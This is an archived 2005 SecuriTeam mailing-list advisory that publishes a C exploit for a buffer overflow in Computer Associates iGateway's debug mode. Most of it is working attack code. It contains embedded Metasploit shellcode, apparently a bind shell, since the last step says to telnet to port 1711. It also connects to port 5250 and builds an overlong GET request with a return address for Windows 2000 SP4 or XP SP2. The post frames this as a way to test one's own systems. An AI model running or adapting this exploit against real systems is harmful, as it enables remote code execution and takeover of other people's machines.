

Securiteam: [EXPL] Computer Associates iGateway Debug Mode Buffer Overflow (Exploit)

# [EXPL] Computer Associates iGateway Debug Mode Buffer Overflow (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0026.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 11/06/05

To: list@securiteam.com

Date: 6 Nov 2005 15:07:54 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Computer Associates iGateway Debug Mode Buffer Overflow (Exploit)

---

## SUMMARY

Computer Associates iGateway contains a buffer overflow vulnerability that may allow remote attackers to execute arbitrary code, the following exploit code can be used to test your system for the mentioned vulnerability.

## DETAILS

Exploit:

```
#include <stdio.h>
```

```
#include <winsock2.h>
```

```
#include <errno.h>
```

```
#include <windows.h>
```

```
const int MAXSIZE = 17110;
```

```
char sc[] = //metasploit
```

```
"\x6a\x50\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x3d\x19\x6d"
```

```
"\xf7\x83\xeb\xfc\xe2\xf4\xc1\x73\x86\xba\xd5\xe0\x92\x08\xc2\x79"
```

```
"\xe6\x9b\x19\x3d\xe6\xb2\x01\x92\x11\xf2\x45\x18\x82\x7c\x72\x01"
```

## Securiteam: [EXPL] Computer Associates iGateway Debug Mode Buffer Overflow (Exploit)

```
"\xe6\xa8\x1d\x18\x86\xbe\xb6\xd2\xe6\xf6\xd3\x28\xad\x6e\x91\x9d"  
"\xad\x83\x3a\xd8\xa7\xfa\x3c\xdb\x86\x03\x06\x4d\x49\xdf\x48\xfc"  
"\xe6\xa8\x19\x18\x86\x91\xb6\x15\x26\x7c\x62\x05\x6c\x1c\x3e\x35"  
"\xe6\x7e\x51\x3d\x71\x96\xfe\x28\xb6\x93\xb6\x5a\x5d\x7c\x7d\x15"  
"\xe6\x87\x21\xb4\xe6\xb7\x35\x47\x05\x79\x73\x17\x81\xa7\xc2\xcf"  
"\x0b\xa4\x5b\x71\x5e\xc5\x55\x6e\x1e\xc5\x62\x4d\x92\x27\x55\xd2"  
"\x80\x0b\x06\x49\x92\x21\x62\x90\x88\x91\xbc\x4f\x65\xf5\x68\x73"  
"\x6f\x08\xed\x71\xb4\xfe\xc8\xb4\x3a\x08\xeb\x4a\x3e\xa4\x6e\x4a"  
"\x2e\xa4\x7e\x4a\x92\x27\x5b\x71\x6b\x58\x5b\x4a\xe4\x16\xa8\x71"  
"\xc9\xed\x4d\xde\x3a\x08\xeb\x73\x7d\xa6\x68\xe6\xbd\x9f\x99\xb4"  
"\x43\x1e\x6a\xe6\xbb\xa4\x68\xe6\xbd\x9f\xd8\x50\xeb\xbe\x6a\xe6"  
"\xbb\xa7\x69\x4d\x38\x08\xed\x8a\x05\x10\x44\xdf\x14\xa0\xc2\xcf"  
"\x38\x08\xed\x7f\x07\x93\x5b\x71\x0e\x9a\xb4\xfc\x07\xa7\x64\x30"  
"\xa1\x7e\xda\x73\x29\x7e\xdf\x28\xad\x04\x97\xe7\x2f\xda\xc3\x5b"  
"\x41\x64\xb0\x63\x55\x5c\x96\xb2\x05\x85\xc3\xaa\x7b\x08\x48\x5d"  
"\x92\x21\x66\x4e\x3f\xa6\x6c\x48\x07\xf6\x6c\x48\x38\xa6\xc2\xc9"  
"\x05\x5a\xe4\x1c\xa3\xa4\xc2\xcf\x07\x08\xc2\x2e\x92\x27\xb6\x4e"  
"\x91\x74\xf9\x7d\x92\x21\x6f\xe6\xbd\x9f\xcd\x93\x69\xa8\x6e\xe6"  
"\xbb\x08\xed\x19\x6d\xf7";
```

```
int tcp_connect(char *host,int port) {
```

```
    struct hostent *hp;
```

```
    struct sockaddr_in addr;
```

```
    int sock;
```

```
    if (!(hp=gethostbyname(host))){
```

```
        fprintf(stderr,"Something died! \n");
```

```
        return -1;
```

```
    }
```

```
    memset(&addr,0,sizeof(addr));
```

```
    addr.sin_addr=(struct in_addr*)hp->h_addr;
```

```
    addr.sin_family=AF_INET;
```

```
    addr.sin_port=htons(port);
```

```
    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))<0){
```

```
        fprintf(stderr,"Dead again!\n");
```

```
        return -1;
```

```
    }
```

```
    if((connect(sock,(struct sockaddr *)&addr,sizeof(addr)))<0){
```

```
        fprintf(stderr,"Dead once more! \n");
```

```
        return -1;
```

```
    }
```

```
    return sock;
```

```
    }
```

```
/*Just supply a target ./caigw-win32 hostname */
```

```
int main(int argc, char *argv[])
```

```
{
```

## Securiteam: [EXPL] Computer Associates iGateway Debug Mode Buffer Overflow (Exploit)

```
char buffer[MAXSIZE+1];
int i = 0;
int sclen = sizeof(sc), sock = 0;

if(!argv[1])
return 0;

memset(buffer, '\x90', MAXSIZE/2);

memcpy(buffer, "GET", 3);

for(i=3; i<24; i++)
memcpy(buffer+i, " ", 1);
for(i=21; i<423; i++)
buffer[i] = 'A';

/* XP SP2*/
//memcpy(buffer + 423+25, "\xdd\x10\x12\x12", 4);
/*W2ksp4 */
memcpy(buffer + 422+25, "\xdd\x10\x12\x12", 4);

memcpy(buffer + 460, sc, sclen - 1);
memcpy(buffer + (460 + sclen), " HTTP/1.0\r\n\r\n\r\n", 16);
buffer[460+sclen+20] = '\0';

if( (sock = tcp_connect(argv[1], 5250)) != -1 )
{
int bytes = 0;

printf("[~] Sending request... \n");
bytes = send(sock, buffer, strlen(buffer), 0);
printf("[!] Sent [%d] bytes\n", bytes);
}
else
return -1;

close(sock);
sleep (2);

printf("[@] Now telnet to port 1711\n");
return 0;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:erikam@gmail.com>> egm.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:

[EXPL] Computer Associates iGateway Debug Mode Buffer Overflow (Exploit)

Securiteam: [EXPL] Computer Associates iGateway Debug Mode Buffer Overflow (Exploit)

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.